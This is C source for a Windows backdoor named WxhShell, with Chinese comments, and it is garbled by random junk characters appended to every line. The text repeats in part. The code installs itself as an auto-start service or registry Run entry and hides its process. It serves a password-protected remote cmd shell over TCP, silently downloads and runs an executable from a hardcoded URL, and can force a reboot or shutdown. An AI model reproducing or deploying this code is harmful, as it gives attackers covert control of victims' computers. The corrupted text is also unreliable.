    if(Boot(SHUTDOWN)) Kf05<J!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aQ!9#d_D  
    else { pAJ=f}",]E  
    closesocket(wsh); i O%Zd[  
    ExitThread(0); m\*&2Na  
    } b?Cmc  
    break;  /,1SE(  
    } Yl)eh(\&J  
  // 获取shell '^Pq(b~  
  case 's': { )3]83:lD2  
    CmdShell(wsh); $:f.Krj  
    closesocket(wsh); U;';"9C2>  
    ExitThread(0); tr}KPdE  
    break; 5 1o@b  
  } 7XUhJN3n  
  // 退出 #joF{ M{  
  case 'x': { W:VW_3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C+/Eqq^(  
    CloseIt(wsh); I6K7!+;2  
    break; <KHv|)ak  
    } ]{K5zSK  
  // 离开 ?*CRa$_I|  
  case 'q': { H<V+d^qX\w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "[awmZ:wo  
    closesocket(wsh); /\TQc-k?2  
    WSACleanup(); hf_R\C(c  
    exit(1); 5c<b|  
    break; |9+bSH9  
        } ISpeV  
  } e.h~[^zg  
  } ! (B_EM  
xh{mca>?G  
  // 提示信息 5>'?:jY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S#P+B*v  
} y!S^xS  
  } L&:M8xiA~$  
OF-E6bc  
  return; ])N|[|$  
} TRSOO}  
?O!]8k`1$  
// shell模块句柄 p:Iw%eZ:  
int CmdShell(SOCKET sock) M_tj7Q3 W  
{ !-KCFMvT  
STARTUPINFO si; kX igX-  
ZeroMemory(&si,sizeof(si)); USE   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ah 4kA LO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P\.WXe#j  
PROCESS_INFORMATION ProcessInfo; $X`bm*  
char cmdline[]="cmd"; Mg#`t$ u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U%Dit  
  return 0; {*sGhGwr  
} 0xN!DvCg>.  
(2: N;  
// 自身启动模式 lrCm9Oy  
int StartFromService(void) (gLea  
{ XxhsPFv  
typedef struct YQN.Ohtv*F  
{ Z#CxQ D%\  
  DWORD ExitStatus; g+igxC}2z  
  DWORD PebBaseAddress; /d[Mss  
  DWORD AffinityMask; 7`Qde!+C  
  DWORD BasePriority; TKK,Y{{  
  ULONG UniqueProcessId; 1d`cTaQ-  
  ULONG InheritedFromUniqueProcessId; Ny[Q T*nV  
}   PROCESS_BASIC_INFORMATION; 8098y,mQe  
bi+9R-=&  
PROCNTQSIP NtQueryInformationProcess; ,cLH*@  
g&Z"_7L~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N A8 sN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `a-Bji?  
_0w1 kqW  
  HANDLE             hProcess;  64SW  
  PROCESS_BASIC_INFORMATION pbi; Ocybc%  
nZ~kZ |VS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kPWBDpzN  
  if(NULL == hInst ) return 0; wXz\NGW  
18jJzYawh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B4@fY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NJk)z&M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nkTYWw  
xF&6e&nv  
  if (!NtQueryInformationProcess) return 0; >$Fp}?xX  
xg?auje  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w"1 x=+  
  if(!hProcess) return 0; XJc ,uj7  
MBlBMUJk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0Yp>+:#  
'(tj[&aL  
  CloseHandle(hProcess); v_.HGG S  
Zd$JW=KR]l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S.1( 3j*  
if(hProcess==NULL) return 0; ;uK";we  
4oV {=~V  
HMODULE hMod; vmLpm xS  
char procName[255]; 7 I@";d8~  
unsigned long cbNeeded; yWNOG 2qAP  
*U_S1>0n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S"Kq^DN  
[z2eCH  
  CloseHandle(hProcess); Z&-tMai;  
Je 31".  
if(strstr(procName,"services")) return 1; // 以服务启动 XC2FF&B&  
S@Iw;V  
  return 0; // 注册表启动 GB =bG%Tb  
} @`S.@^%7fO  
< <sE`>)  
// 主模块 e?P%wqB  
int StartWxhshell(LPSTR lpCmdLine) s%O Y<B@V2  
{ ioWo ]  
  SOCKET wsl; JCD?qeTg  
BOOL val=TRUE; #3+~.,X9  
  int port=0; ?2ItTrlB  
  struct sockaddr_in door; 7E\g &R.  
TM-Fu([LMV  
  if(wscfg.ws_autoins) Install(); nE$ f  
Im+ 7<3Z  
port=atoi(lpCmdLine); x6v,lR  
H99xZxHZ{  
if(port<=0) port=wscfg.ws_port; m]P/if7  
NH4?q!'G  
  WSADATA data; XXm'6xD-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~)?|J  
I0_Ecp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6@YH#{~Zpv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #w|5 jN?  
  door.sin_family = AF_INET; lE'wfUb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \<V)-eB   
  door.sin_port = htons(port); d@ (vg  
1qZG`Vz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $@.jZ_G  
closesocket(wsl); i/*,N&^  
return 1; Y{+3}drJE  
} ?Oc -aa  
T?rH ,$:  
  if(listen(wsl,2) == INVALID_SOCKET) { q:]Q% IC^  
closesocket(wsl); ``4?a7!!  
return 1; ,v7Q*3  
} d.AC%&W  
  Wxhshell(wsl); (O0byu}  
  WSACleanup(); ,Xtj;@~-  
KUKI qAA  
return 0; bo>E"<  
8R?I`M_b  
} 8UM0vNk  
n NQ-"t  
// 以NT服务方式启动 ShGp^xVj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oY.\)eJ~>  
{ iRt*A6`m+  
DWORD   status = 0; vaB!R 0  
  DWORD   specificError = 0xfffffff; Y0RgJn  
^Xs]C|=W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q.T:0|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H,K`6HH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [.-a$J[4+F  
  serviceStatus.dwWin32ExitCode     = 0; X=,6d9,  
  serviceStatus.dwServiceSpecificExitCode = 0; .iT4-  
  serviceStatus.dwCheckPoint       = 0; &S-er{]]  
  serviceStatus.dwWaitHint       = 0; ;4kT?3$l  
g~)3WfC$[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NwpS)6<-  
  if (hServiceStatusHandle==0) return; 1Es qQz*$u  
onnugj3  
status = GetLastError(); -_>.f(1  
  if (status!=NO_ERROR) moG~S]  
{ l"\uf(0K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U=m=1FYaG  
    serviceStatus.dwCheckPoint       = 0; m&/=&S  
    serviceStatus.dwWaitHint       = 0; ~kb{K;  
    serviceStatus.dwWin32ExitCode     = status; Uk'U?9O  
    serviceStatus.dwServiceSpecificExitCode = specificError; vpLMhf`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eaAPKx  
    return; _#pnjo   
  } 1~Mn'O%  
y6%<zhs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #PFO]j!_b  
  serviceStatus.dwCheckPoint       = 0; D^?_"wjW  
  serviceStatus.dwWaitHint       = 0; MLS;SCl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u)~s4tP4  
} ab4LTF|  
!y*oF{RZ  
// 处理NT服务事件,比如:启动、停止 U^?= 0+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J?D\$u:  
{ 1;&T^Gdj  
switch(fdwControl) nk/vGa4  
{ D=&K&6rr  
case SERVICE_CONTROL_STOP: ?,XC =}  
  serviceStatus.dwWin32ExitCode = 0; 9@y3IiZ"}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6+PGwCS  
  serviceStatus.dwCheckPoint   = 0; (h,Ws-O  
  serviceStatus.dwWaitHint     = 0; <L&eh&4c  
  { F,pCR7o>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ; k}H(QI  
  } ~L'nz quF  
  return; f#OQ (WTJE  
case SERVICE_CONTROL_PAUSE: ZqK]jT6V/X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; % rcFT_  
  break; jBRPR R0  
case SERVICE_CONTROL_CONTINUE: 1X&B:_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vGN3 YcH  
  break; ;J=:IEk  
case SERVICE_CONTROL_INTERROGATE: R|Y~u*D  
  break; U ~1 SF  
}; UvBnf+,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ug&92Hdvy3  
} Z %EQt  
Sk=N [hwU  
// 标准应用程序主函数 it,w^VU_]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7zGMkl  
{ &yLc1#H  
O?E6xc<8  
// 获取操作系统版本 TSQh X~RN  
OsIsNt=GetOsVer(); Tl3"PIb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6K 4+0xXv  
YoAg  
  // 从命令行安装 W4vBf^eC  
  if(strpbrk(lpCmdLine,"iI")) Install(); RIjM(P  
D]u=PqHk2  
  // 下载执行文件 *P xf#X  
if(wscfg.ws_downexe) { [`nY2[A$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9L"?wv  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;BVDt  
} } yq  
I?M@5u  
if(!OsIsNt) { ^'W%X  
// 如果时win9x,隐藏进程并且设置为注册表启动 x+^Vg3 q  
HideProc(); 4_Y!elH)  
StartWxhshell(lpCmdLine); 5;Ia$lm=y  
} %6i=lyH-  
else `~nCbUUee  
  if(StartFromService()) =]b9X7}  
  // 以服务方式启动 gZ`DT  
  StartServiceCtrlDispatcher(DispatchTable); `bqzg  
else 7$_ :sJ  
  // 普通方式启动 wd+O5Lr.R  
  StartWxhshell(lpCmdLine); .bfST.OA  
H,|YLKg-|  
return 0; 4z0L ke  
} / O)6iJ  
>{XScxaB`  
!Uy>eji}  
>'Hx1;  
=========================================== |yv]Y/ =  
c&e0OV\m  
^Y 7U1I  
ZNL5({lv  
s=U\_koyH  
xJc.pvVPw  
" g;G5 r&T  
6b#~;  
#include <stdio.h> s<VJ`Ur  
#include <string.h> LyP`{_"CM  
#include <windows.h> a}yR p  
#include <winsock2.h> OjATSmZ@@  
#include <winsvc.h> FmI;lVF0j  
#include <urlmon.h> <kbnu7?a*  
tJm{I)G  
#pragma comment (lib, "Ws2_32.lib")  MYx88y  
#pragma comment (lib, "urlmon.lib") F*\4l;NJ  
}`]]b+_b>@  
#define MAX_USER   100 // 最大客户端连接数 #Fzb8Yo  
#define BUF_SOCK   200 // sock buffer 1eiw3WU;  
#define KEY_BUFF   255 // 输入 buffer - 0DZ::  
FG# nap{  
#define REBOOT     0   // 重启 hS_.l}0yf  
#define SHUTDOWN   1   // 关机 iT$d;5_pU  
8&?p  
#define DEF_PORT   5000 // 监听端口 `^e*T'UPl  
bd{\{[^S!  
#define REG_LEN     16   // 注册表键长度 K?YEoz'y[  
#define SVC_LEN     80   // NT服务名长度 eJaUmK:  
!Bj^i cR  
// 从dll定义API y@ .b 4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FfSI n3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a7*COh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z@oKz:U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BA*&N>a  
;qb Dbg  
// wxhshell配置信息 8!4[#y<  
struct WSCFG { u\3ZIb  
  int ws_port;         // 监听端口 pN+I]NgQ  
  char ws_passstr[REG_LEN]; // 口令 _yJ|`g]U3  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ql8^]gbp+  
  char ws_regname[REG_LEN]; // 注册表键名 KBj@V6Q  
  char ws_svcname[REG_LEN]; // 服务名 y#e ?iE@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !ew6 n I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2Pz5f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #[(gIOrNn8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D-D #`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I4:rie\hjC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _.-#E$6s#q  
N'a?wBBR  
}; tvCcyD%w  
wPQ&Di*X}  
// default Wxhshell configuration y9ip[Xn-$:  
struct WSCFG wscfg={DEF_PORT, ogp{rY  
    "xuhuanlingzhe", xD^wTtT  
    1, pJ6Jx(  
    "Wxhshell", Rdj8 *f  
    "Wxhshell", )r#,ML  
            "WxhShell Service", {83C,C-  
    "Wrsky Windows CmdShell Service", O!,Ca1N  
    "Please Input Your Password: ", l.uN$B  
  1, Z*Zc]hD  
  "http://www.wrsky.com/wxhshell.exe", 0<3E  
  "Wxhshell.exe" 8W@dtZ,d  
    }; p9Z ].5Pd"  
BjB&[5?z  
// 消息定义模块 ,3k@L\$.x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0}D-KvjyP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4uPH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H7}g!n?  
char *msg_ws_ext="\n\rExit."; >~^`5a`$uI  
char *msg_ws_end="\n\rQuit."; XJ O[[G`  
char *msg_ws_boot="\n\rReboot..."; nfa_8  
char *msg_ws_poff="\n\rShutdown..."; '(TmV#3  
char *msg_ws_down="\n\rSave to "; ?N`qLGRm  
",QYDFFeF  
char *msg_ws_err="\n\rErr!"; @o60 c  
char *msg_ws_ok="\n\rOK!"; |+u+)C  
ot0U-G(  
char ExeFile[MAX_PATH]; ovbEmb  
int nUser = 0; +\srZ<67  
HANDLE handles[MAX_USER]; 3jXR"@Z-  
int OsIsNt; L7<+LA)s0  
e|JIrOnc  
SERVICE_STATUS       serviceStatus; e) ]RA?bF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %6N)G!P  
[0wP\{%  
// 函数声明 dD o6fP2  
int Install(void); l\_x(BH  
int Uninstall(void); m^'~&!ba  
int DownloadFile(char *sURL, SOCKET wsh); :q(D(mK  
int Boot(int flag); B_!wutV@  
void HideProc(void); ]I8]mUiUH  
int GetOsVer(void); NtqFnxm/  
int Wxhshell(SOCKET wsl); &jt02+Hj'  
void TalkWithClient(void *cs); x ~wNO/  
int CmdShell(SOCKET sock); 3`x sK[  
int StartFromService(void); jmSt?M0.xV  
int StartWxhshell(LPSTR lpCmdLine); z+ uL "PG[  
'!AT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Etw~*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); & \JLTw  
4`$5 _} j!  
// 数据结构和表定义 O/(3 87=U  
SERVICE_TABLE_ENTRY DispatchTable[] = Shs')Zs bv  
{ \zBd<H4S:  
{wscfg.ws_svcname, NTServiceMain}, ftxTX3X  
{NULL, NULL} =,O /,2)  
}; )dqR<)  
7:z>+AM[r  
// 自我安装 (x}A_ i  
int Install(void) .l7j8 }  
{ d3og?{i<}&  
  char svExeFile[MAX_PATH]; Gl.?U;4Z  
  HKEY key; ]9#CVv[rq  
  strcpy(svExeFile,ExeFile); AjG)1  
7,f:Qi@g  
// 如果是win9x系统,修改注册表设为自启动 h,]tQ#!s8  
if(!OsIsNt) { z/)$D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tc"T}huypU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )ni"qv~J  
  RegCloseKey(key); u IAZo;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -!@H["  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jiqi!*  
  RegCloseKey(key); 0h^uOA; c  
  return 0; vf6`s\6  
    } 5QKRI)XpZ  
  } dJloH)uJZ>  
} 0 4P.p6  
else {  c^rC8E  
*U :VM'a  
// 如果是NT以上系统,安装为系统服务 DE5d]3B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z'?SRK5+  
if (schSCManager!=0) keae.6[  
{ ?Y%}(3y  
  SC_HANDLE schService = CreateService @<|6{N<  
  ( sf fV.cC`  
  schSCManager, "v@);\-V  
  wscfg.ws_svcname, 6euR'd^Qi  
  wscfg.ws_svcdisp, 1]"D%U=  
  SERVICE_ALL_ACCESS, "tfn?n0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Um/CR!  
  SERVICE_AUTO_START,  o1 jk=  
  SERVICE_ERROR_NORMAL, p 7 , f6kG  
  svExeFile, G}182"#4  
  NULL, C\y[&egww  
  NULL, 2=jd;2~  
  NULL, kZJt ~}  
  NULL, 43+EX.c  
  NULL f#*h^91x  
  ); f;e_04K  
  if (schService!=0) :x8Jy4L  
  { =g/4{IL%  
  CloseServiceHandle(schService); d#E(~t(^  
  CloseServiceHandle(schSCManager); -K:yU4V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y=AH%Gy9 )  
  strcat(svExeFile,wscfg.ws_svcname); bjuYA/w<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F(J\ctha  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); | -JI`!7  
  RegCloseKey(key); s[Y)d>~\$=  
  return 0; mYntU^4f  
    } iU.!oeR?  
  } .UNF~}^H  
  CloseServiceHandle(schSCManager); 1R5Yn(  
} s.|!Ti!]  
} xt? 3_?1  
AmP#'U5  
return 1; ue,#, 3{m  
} -L+\y\F  
OD{5m(JwL  
// 自我卸载 n;e."^5  
int Uninstall(void) ;7;zhJs1t  
{ n/ui<&(  
  HKEY key; {CW1t5$*  
Tm (Q@  
if(!OsIsNt) { _Syre6k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K%98;e9  
  RegDeleteValue(key,wscfg.ws_regname); pGO|~:E/L  
  RegCloseKey(key); eV"dv*R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^wvH,>Yo  
  RegDeleteValue(key,wscfg.ws_regname); Gtj (  
  RegCloseKey(key); 3?!G-  
  return 0; xR\D(FLV S  
  } z8 hTZU  
} 99\{!W  
} |Dl*w/n  
else { }@3Ud ' Y  
w%>aR_G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5x:Ift *  
if (schSCManager!=0) p>2||  
{ }v_p gatC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); szf"|k!  
  if (schService!=0) Zkf 3t>[  
  { *54>iO- c  
  if(DeleteService(schService)!=0) { JoZqLy!@  
  CloseServiceHandle(schService); r~ZS1Tp  
  CloseServiceHandle(schSCManager); 5F'%i;)oq  
  return 0; Yh}zt H  
  } aR`_h=a  
  CloseServiceHandle(schService); EJ WOXxU  
  }  f$:7A0  
  CloseServiceHandle(schSCManager); SQ1M4:hP  
} M'pb8jf  
} 2#>$%[   
..vSL  
return 1; X=rc3~}f  
} '"!z$i~G=  
`,F&y{ A  
// 从指定url下载文件 =gxgS<bde  
int DownloadFile(char *sURL, SOCKET wsh) 4^ d+l.F  
{ <_##YSGh,  
  HRESULT hr; }"F ?H:\  
char seps[]= "/"; w8eG;  
char *token; w$w>N(e  
char *file; ovhC4 2i  
char myURL[MAX_PATH]; @rnp- +kq  
char myFILE[MAX_PATH]; jxRF"GD  
8@Egy%_  
strcpy(myURL,sURL); *(?U  
  token=strtok(myURL,seps); :z0s*,QH  
  while(token!=NULL) LydbP17K}  
  { ek<PISlci  
    file=token; .V5q$5j  
  token=strtok(NULL,seps); ib5;f0Qa  
  } oV0LJ%  
ga4/,   
GetCurrentDirectory(MAX_PATH,myFILE); OaD Alrm  
strcat(myFILE, "\\"); #6Efev  
strcat(myFILE, file); _n-VgPRn  
  send(wsh,myFILE,strlen(myFILE),0); v#Cz&j  
send(wsh,"...",3,0); =]_d pEEQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {:};(oz)f  
  if(hr==S_OK) @<@R=aqE  
return 0; Hmz=/.$  
else 9;E%U2T7  
return 1; 5}.,"Fbr  
@ A~B ,  
} /3CHE8nSh  
oso1uAOfp  
// 系统电源模块 D..{|29,:  
int Boot(int flag) N<#S3B?.  
{ 2*~JMbm  
  HANDLE hToken; }m=t zHB*  
  TOKEN_PRIVILEGES tkp; p56KS5duI.  
)bB"12Z|8  
  if(OsIsNt) { g|&.v2 '  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J8sJ~FnUj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J6*\>N5W  
    tkp.PrivilegeCount = 1; {pcf;1^t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kj Lsk-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9TYw@o5V  
if(flag==REBOOT) { &A ;3; R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P?Gd}mdX?m  
  return 0; VfL]O8P>  
} 8Pr&F  
else { FbNH+?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lfU"SSQ  
  return 0; rd&*j^?  
} 8{}Pj  
  } ZI2K-z'e  
  else { dCf'\ @<<  
if(flag==REBOOT) { Bo](n*i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p`E|SNt/W  
  return 0; >cwJl@wx-  
} <r_P? lZW  
else { >5Q^9 9V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (uuEjM$3%  
  return 0; "VT{1(]t  
} OCbQB5k3  
} Vze!/ED  
TnvHO_P,  
return 1; kbIY%\QSO  
} JEK%yMj  
F"B<R~  
// win9x进程隐藏模块 2- Npw%;  
void HideProc(void) j:rs+1bc  
{ "W?l R4  
x*,q Rew  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hm+6QgCs  
  if ( hKernel != NULL ) ~cO?S2!W  
  { 9}%~w(P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |kBg8).B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r)9i1rI+  
    FreeLibrary(hKernel); JqVBT+:  
  } _H^^2#wc/  
HobGl0<y  
return; N[+o[%A  
} |?;"B:0  
ohQz%?r  
// 获取操作系统版本 YO.`l~ v  
int GetOsVer(void) Y5h)l<P>B  
{ ]HNT(w@  
  OSVERSIONINFO winfo; )M&Azbu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )9A<fwpN  
  GetVersionEx(&winfo); fw(j6:p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MYDf`0{$_a  
  return 1; (x1"uy7_  
  else k$$S!qi#  
  return 0; 4AJu2Hp  
} ;*>QG6Fh  
]Vf8mkDGO  
// 客户端句柄模块 M@!]U:5~V  
int Wxhshell(SOCKET wsl) YWcui+4p}  
{ &P,4EaC9;  
  SOCKET wsh; =B/s H N  
  struct sockaddr_in client; (?*mh?  
  DWORD myID; Y-neD?VN  
ySr091Q  
  while(nUser<MAX_USER) m 1'&{O:  
{ K*HVn2OV  
  int nSize=sizeof(client); &|'Kut?8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3 2iWYN  
  if(wsh==INVALID_SOCKET) return 1; #cp$ltY  
~u?x{[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?v)"%.  
if(handles[nUser]==0) $X.'W\o|  
  closesocket(wsh); (zM+7tJH  
else 43}&w.AS  
  nUser++; (<> Sz(  
  } 4Rrw8Bw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r$3~bS$]  
N) V7yo?  
  return 0; 1v[#::Bs  
} _Sk< S  
;8%@Lan  
// 关闭 socket Ivt)Eg  
void CloseIt(SOCKET wsh) ?4wehcZz  
{ ?Qo_ KQ%sn  
closesocket(wsh); =An Z>6  
nUser--; psyH?&T  
ExitThread(0); 0+2Matk>.  
} O'&X aaZV  
fdCxMKlu;  
// 客户端请求句柄 <Hr@~<@~  
void TalkWithClient(void *cs) 3*2&Fw!B  
{ rvoS52XG,  
W(PW9J9  
  SOCKET wsh=(SOCKET)cs; &>) `P[x  
  char pwd[SVC_LEN]; <4!&iU+;  
  char cmd[KEY_BUFF]; R^u^y{ohr  
char chr[1]; sxC{\iLY%  
int i,j; qed!C  
K&Wv.}=V  
  while (nUser < MAX_USER) { ]Gd]KP@S  
VtPoc(o4]  
if(wscfg.ws_passstr) { UQji7K }  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zOu$H[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i*cE  
  //ZeroMemory(pwd,KEY_BUFF); AVevYbucB  
      i=0; D)/XP  
  while(i<SVC_LEN) { !3X%5=#L4  
k+m_L{#m5  
  // 设置超时 U*qK*"k  
  fd_set FdRead; !Pi? !  
  struct timeval TimeOut; 9V4V}[%  
  FD_ZERO(&FdRead); On96N|  
  FD_SET(wsh,&FdRead); c;t(j'k`  
  TimeOut.tv_sec=8; eed\0  
  TimeOut.tv_usec=0; ["#A-S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @x-GbK?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o7 -h'b-  
C"m0"O>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tpx3:|  
  pwd=chr[0]; <,]CVo  
  if(chr[0]==0xd || chr[0]==0xa) { n]ppO U|[  
  pwd=0; c&I,eds  
  break; 4iPua"8  
  } B|q3;P  
  i++; ! ,(bXa\^  
    } dXK~ Z:  
>G3 J3P(  
  // 如果是非法用户,关闭 socket OTFu4"]M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ci#5@Q9#w  
} iDkWW  
^J5V!i$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~3-YxCn%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oj4)7{  
}HQT@&=  
while(1) { Q]?J%P.  
+KwF U  
  ZeroMemory(cmd,KEY_BUFF); e[ k;SSs  
>0;"qT  
      // 自动支持客户端 telnet标准   HS&uQc a  
  j=0; uF.\dY\xv  
  while(j<KEY_BUFF) { r0$9c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JU%yqXO  
  cmd[j]=chr[0]; v,.n/@s|X  
  if(chr[0]==0xa || chr[0]==0xd) { 1.d9{LO[-  
  cmd[j]=0; MPEBinE?  
  break; Nxs%~ wZ   
  } ThQEQ6y  
  j++; [@FeRIu8  
    } ^CZ|ci6bX  
#y9K-}u  
  // 下载文件 ^[\53\R~  
  if(strstr(cmd,"http://")) { Ew,wNR`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *1$~CC7  
  if(DownloadFile(cmd,wsh)) .LTFa.jxA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hpi_0lMkI  
  else <n~g+ps  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 0if:mYA  
  } md +`#-D\O  
  else { fF]&{b~wk  
ghO//?m  
    switch(cmd[0]) { /t6u"I~  
  Hr,gV2n  
  // 帮助 =/'*(\C2  
